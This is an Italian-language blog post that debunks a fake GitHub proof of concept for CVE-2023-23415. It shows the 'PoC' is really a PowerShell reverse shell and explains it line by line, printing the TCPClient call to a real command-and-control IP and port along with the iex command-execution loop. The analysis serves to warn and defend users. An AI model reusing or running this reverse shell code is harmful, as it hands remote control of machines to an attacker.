Debunk a fake CVE-2023-23415

Premessa

Qualche giorno fa è apparso sul NIST una “curiosa” vulnerabilità legata ad una presunta Remote Code Execution del protocollo Internet Control Message Protocol (ICMP). Parliamo di presunta in quanto, come si legge, attualmente “This vulnerability is currently undergoing analysis and not all information is available.”

Cos’è

A quanto si legge sul Security Update di Microsoft, la vulnerabilità permetterebbe ad un utente malintenzionato di inviare un frame errore di protocollo a basso livello contenente un pacchetto IP frammentato all’interno di un altro pacchetto ICMP alla macchina di destinazione. Nota importante: per far si che questa vulnerabilità abbia effetto, l’applicazione sul server di destinazione deve essere in ascolto su di un raw socket a sua volta con privilegi amministrativi.

Lo sciacallo

Nel possibile trambusto mediatico che questa vulnerabilità potrebbe causare non mancano gli “sciacalli”, cioè quella fetta di utenti che pubblicano su GitHub PoC fasulle nella speranza che altri utenti “distratti” eseguano il codice senza controllare.

Questo è il caso di tale “wh-gov”, il quale mostra una pagina sul suo GitHub minimalista dove semplicemente segnala il link (lecito) della vulnerabilità e un file .py contenente la PoC.

Img. 1 – L’home page

Fatto interessante è come la vulnerabilità sia stata segnalata sul NIST il 14/03 e l’ultima modifica risale a tre giorni fa: quindi, stando alla data attuale, la “PoC” è stata caricata il 17/03.

Andiamo avanti.

Il codice

Il codice si presenta come uno script PowerShell, non offuscato, di ben poche righe e con uno scopo ben preciso: creare una shell sul client, eseguire i comandi inviati dal server ed inviare l’output degli stessi al C2.

Img. 2 – Lo script

Vediamo un po’ di capire nel dettaglio che cosa fa:

powershell -nop -c

powershell: questo esegue una sessione PowerShell
-nop: Questo flag vuole dire “No Profile”, il che significa che non caricherà alcun profilo utente o configurazione all’avvio di PowerShell
-c: Questo flag sta per “Command”, il che dice a PowerShell di eseguire il seguente comando

$client = New-Object System.Net.Sockets.TCPClient('106.12.252.10',6666)

Questa linea crea una connessione TCP all’IP/porta specificati

$stream = $client.GetStream()

Questa riga recupera il traffico di rete associato al client TCP connesso.

[byte[]]$bytes = 0..65535|%{0}

Questa riga crea un array di byte con una lunghezza di 65536 (da 0 a 65535) e inizializza tutti gli elementi a 0.

Questo ciclo continua a leggere i dati dal finché non ci sono più dati da leggere (quando $i diventa 0).

All’interno del ciclo:

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)

Questa riga converte i byte ricevuti in una stringa utilizzando la codifica ASCII

$sendback = (iex $data 2>&1 | Out-String )

Questa riga esegue il comando ricevuto ($data) utilizzando iex (Invoke-Expression) e acquisisce sia l’output standard che i flussi in errore, quindi converte l’output in una stringa.

$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '

Questa riga aggiunge la directory di lavoro corrente (nel formato ‘PS [Path] > ‘) all’output del passaggio precedente.

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)

Questa riga converte la stringa di output dal passaggio precedente in byte utilizzando la codifica ASCII.

$stream.Write($sendbyte,0,$sendbyte.Length)

Questa riga invia i byte di output al server remoto.

$stream.Flush()

Questa riga esegue il flush dello stram garantendo che tutti i dati vengano inviati al server remoto

$client.Close()

Questa riga chiude la connessione del client TCP al termine del ciclo.

In sintesi, questo script stabilisce una remote shell TCP con un server remoto all’indirizzo IP 106.12.252.10 e porta 6666. Legge continuamente i comandi dal server, li esegue e invia l’output (compresa la directory di lavoro corrente) al server C2 finché la connessione non viene chiusa.

Add-on

  • L’IP è registrato presso Baidu a Beijing, Cina.
  • Nessun altro IP nei commit di GitHub
Img. 3 – GitHub commit changes

Conclusioni

Al momento della scrittura di questo articolo il sever in questione non è più raggiungibile pertanto non è possibile eseguire ulteriori indagini.

EOF

Rispondi